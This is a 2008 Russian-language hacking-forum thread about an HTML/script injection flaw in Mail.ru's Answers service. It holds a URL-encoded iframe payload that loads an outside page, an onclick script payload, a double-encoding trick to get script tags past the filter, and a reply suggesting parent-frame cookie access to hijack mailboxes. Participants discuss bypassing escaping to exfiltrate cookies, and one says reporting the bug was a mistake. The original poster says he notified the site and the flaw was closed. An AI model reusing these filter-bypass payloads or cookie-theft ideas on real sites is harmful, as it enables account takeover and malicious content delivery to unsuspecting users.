Уязвимость на Ответах Мейлру

Discussion in 'Уязвимости' started by попугай, 13 Feb 2008.

  1. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Сегодня мной была обнаружена уязвимость на Проекте Ответы Mail>ru

    В результате можно было встроить айфрейм с сайтом произвольным в коментарии и в вопросы...
    и соответственно любой вредоносный код...

    примеры здесь



    примеры
    примеры
    примеры
    А также были фреймы с моим порносайтом .. но их удалили :D :D :D :mad: :mad:


    Собственно -рассказываю как )))

    все теги фильтруются и обрезаются...
    с этим не поспоришь -майловцы молодцы )))

    Но они упустили кое что
    если теги заурленкодить Можно здесь

    То они на мейлру уже декодируются а дальше не фильтруются!!!!
    и в итоге получаем .... хехех ... попробую на ачате )))
    %3Ciframe src%3Dhttp%3A%2F%2Fantispid.jino-net.ru%2FWM.html width%3D1 height%3D1%3E%3C%2Fiframe%3E

    на ачате форум фильтрует все ... точнее не перекодирует обратно урленкод..

    PHP:
    %3Ciframe src%3Dhttp%3A%2F%2Fantispid.jino-net.ru%2FWM.html width%3D1 height%3D1%3E%3C%2Fiframe%3E
    вот такая загогулина... и ее постим в каментах или в вопросе...
    и получаем фрейм.. также можно любые теги....
    кроме
    HTML:
    <script>
    Вотс... правда я как законопослушный гражданин -написал в суппорт и админам .. так что ..вот такая вот загогулина ))
     
    #1 попугай, 13 Feb 2008
    Last edited: 13 Feb 2008
    4 people like this.
  2. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    http://otvet.mail.ru/question/12964134/
     
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Я только не очень силен в яваскрипте.... но можно ведь как то получить доступ через фрейм к родительскому окну ?
     
  4. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Жаль скрипты все таки фильтируются
     
    #4 попугай, 13 Feb 2008
    Last edited: 13 Feb 2008
  5. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    скрпты тоже можно писать !!!!
    Опять же урленкодим....

    таким образом...
    PHP:
    <input type=button onclick=скрипт произвольный>
    одно но... кавычки заслешиваются... так что серьезного ничего не сделать.... :( :(

    PS // хмм... и кавычки можно обойти ))
     
    #5 попугай, 14 Feb 2008
    Last edited: 14 Feb 2008
    1 person likes this.
  6. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Таак... Скрипты в виде <script> </script>
    тоже можно писать -требуется двойное урленкодирование

    Однако главная проблема -почему нельзя передать куки на скрипт .. -это то , что
    ссылки фильтруются -то есть
    если есть http -то перед ним ставятся теги <noindex> , <nofollow>
    и которые портят код .
    Если у кого есить идеи -выкладывайте
     
  7. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    X) X)
    Все уязвимости прикрыли X)
     
    1 person likes this.
  8. ZET36

    ZET36 Elder - Старейшина

    Joined:
    8 Oct 2007
    Messages:
    250
    Likes Received:
    49
    Reputations:
    0
    во первых зря то сообщил админам маила
    во вторых зря что выложил баг в паблик этоже активна хсс в маил ру
    получить доступ к 1вому фрэйму (где авторизованные куки) через родительское окно в джаваскрипт можно так

    Code:
    parent.имя фрэйма.document.cookie
    
    если бы не ступил то мог бы беспалива хакать мыльники
     
  9. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    нельзя так... Да я и пробовал
    это разные домены - и получить доступ из одного домена в другой нельзя

    PS да может и зря... конечно...но гражданский долг меня позвал )))
     
  10. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Вместо 'http://' можешь писать просто '//'
     
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Нет ..это относительная ссылка считается... и ссылка будет вида

    http://otvet.mail.ru//hacker.ru

    Да и что сейчас обсуждать? Все равно уязвимость прикрыли....

    Может в следующем году снова облажаются)) Как в этом... (год назад эта уязвимость была-потом прикрыли , а в этом году снова появилась))) )